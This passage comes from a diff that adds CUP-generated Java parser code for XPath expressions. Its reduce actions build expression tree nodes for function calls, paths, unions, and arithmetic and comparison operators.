((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).right; + FuncName fn = (FuncName)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-3)).value; + int alleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int alright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Alist al = (Alist)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + //RESULT = new FuncExpr(fn.i, al); + FuncExpr tfe = new FuncExpr(fn.i, al); + if (!tfe.checkArgumentCount()) + throw new XPathParseException(" argument input for function "+tfe.fname()+" incorrect"); + RESULT = tfe; + + CUP$parser$result = new java_cup.runtime.Symbol(1/*FunctionCall*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 35: // PrimaryExpr ::= FunctionCall + { + Expr RESULT = null; + int fcleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int fcright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + FuncExpr fc = (FuncExpr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = fc; + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 34: // PrimaryExpr ::= NUMBER + { + Expr RESULT = null; + int neleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int neright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Double ne = (Double)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new NumExpr(ne.doubleValue()); + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 33: // PrimaryExpr ::= LITERAL + { + Expr RESULT = null; + int leleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int leright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String le = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new LiteralExpr(le); + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 32: // PrimaryExpr ::= LP Expr RP + { + Expr RESULT = null; + int eleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int eright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Expr e = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + RESULT = e; + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 31: // PrimaryExpr ::= VariableReference + { + Expr RESULT = null; + int veleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int veright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ve = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = ve; + CUP$parser$result = new java_cup.runtime.Symbol(16/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 30: // FilterExpr ::= FilterExpr Predicate + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int feright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + int pleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int pright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Predicate p = (Predicate)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new FilterExpr(fe, p); + CUP$parser$result = new java_cup.runtime.Symbol(12/*FilterExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 29: // FilterExpr ::= PrimaryExpr + { + Expr RESULT = null; + int peleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int peright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr pe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = pe; + CUP$parser$result = new java_cup.runtime.Symbol(12/*FilterExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 28: // PathExpr ::= FilterExpr DSLASH RelativeLocationPath + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int feright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + parser.tempStep = new Step(); + + parser.tempStep.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep.setNodeTest(parser.tempNt); + + parser.tempStep.setNextStep(rlp); + rlp.setPrevStep(parser.tempStep); + + /*parser.tempStep2 = new Step(); + parser.tempNt = new NodeTest(); + parser.tempStep2.setAxisType(AxisType.SELF); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep2.setNodeTest(parser.tempNt); + + parser.tempStep2.setNextStep(parser.tempStep); + parser.tempStep.setPrevStep(parser.tempStep2);*/ + + parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(parser.tempStep); + RESULT = new PathExpr(fe, parser.tempLPExpr); + + CUP$parser$result = new java_cup.runtime.Symbol(11/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 27: // PathExpr ::= FilterExpr SLASH RelativeLocationPath + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int feright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(rlp); + RESULT = new PathExpr(fe, parser.tempLPExpr); + + CUP$parser$result = new java_cup.runtime.Symbol(11/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 26: // PathExpr ::= FilterExpr + { + Expr RESULT = null; + int feleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int feright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr fe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = fe; + CUP$parser$result = new java_cup.runtime.Symbol(11/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 25: // PathExpr ::= LocationPath + { + Expr RESULT = null; + int lpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int lpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + LocationPathExpr lp = (LocationPathExpr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = lp; + CUP$parser$result = new java_cup.runtime.Symbol(11/*PathExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 24: // UnionExpr ::= PathExpr UNION UnionExpr + { + UnionExpr RESULT = null; + int peleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int peright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr pe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int uneleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int uneright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + UnionExpr une = (UnionExpr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + RESULT = new UnionExpr(pe); + RESULT.next = une; + + CUP$parser$result = new java_cup.runtime.Symbol(14/*UnionExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 23: // UnionExpr ::= PathExpr + { + UnionExpr RESULT = null; + int peleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int peright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr pe = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new UnionExpr(pe); + + CUP$parser$result = new java_cup.runtime.Symbol(14/*UnionExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 22: // UnaryExpr ::= SUB UnaryExpr + { + Expr RESULT = null; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new UnaryExpr( BinaryExpr.SUB, ue); + CUP$parser$result = new java_cup.runtime.Symbol(10/*UnaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 21: // UnaryExpr ::= UnionExpr + { + Expr RESULT = null; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + UnionExpr ue = (UnionExpr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + if (ue.next==null) + RESULT = ue.e; + else + RESULT = ue; + + CUP$parser$result = new java_cup.runtime.Symbol(10/*UnaryExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 20: // MultiplicativeExpr ::= MultiplicativeExpr MOD UnaryExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(me, BinaryExpr.MOD, ue); + CUP$parser$result = new java_cup.runtime.Symbol(9/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 19: // MultiplicativeExpr ::= MultiplicativeExpr DIV UnaryExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(me, BinaryExpr.DIV, ue); + CUP$parser$result = new java_cup.runtime.Symbol(9/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 18: // MultiplicativeExpr ::= MultiplicativeExpr MULT UnaryExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(me, BinaryExpr.MULT, ue); + CUP$parser$result = new java_cup.runtime.Symbol(9/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 17: // MultiplicativeExpr ::= UnaryExpr + { + Expr RESULT = null; + int ueleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int ueright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ue = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = ue; + CUP$parser$result = new java_cup.runtime.Symbol(9/*MultiplicativeExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 16: // AdditiveExpr ::= AdditiveExpr SUB MultiplicativeExpr + { + Expr RESULT = null; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(ae, BinaryExpr.SUB, me); + CUP$parser$result = new java_cup.runtime.Symbol(8/*AdditiveExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 15: // AdditiveExpr ::= AdditiveExpr ADD MultiplicativeExpr + { + Expr RESULT = null; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(ae, BinaryExpr.ADD, me); + CUP$parser$result = new java_cup.runtime.Symbol(8/*AdditiveExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 14: // AdditiveExpr ::= MultiplicativeExpr + { + Expr RESULT = null; + int meleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int meright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr me = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = me; + CUP$parser$result = new java_cup.runtime.Symbol(8/*AdditiveExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 13: // RelationalExpr ::= RelationalExpr GE AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.GE, ae); + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 12: // RelationalExpr ::= RelationalExpr LE AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.LE, ae); + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 11: // RelationalExpr ::= RelationalExpr GT AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.GT, ae); + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 10: // RelationalExpr ::= RelationalExpr LT AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.LT, ae); + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 9: // RelationalExpr ::= AdditiveExpr + { + Expr RESULT = null; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = ae; + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 8: // EqualityExpr ::= EqualityExpr NE RelationalExpr + { + Expr RESULT = null; + int eeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(ee, BinaryExpr.NE, re); + CUP$parser$result = new java_cup.runtime.Symbol(5/*EqualityExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 7: // EqualityExpr ::= EqualityExpr EQ RelationalExpr + { + Expr RESULT = null; + int eeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(ee, BinaryExpr.EQ, re); + CUP$parser$result = new java_cup.runtime.Symbol(5/*EqualityExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 6: // EqualityExpr ::= RelationalExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = re; + 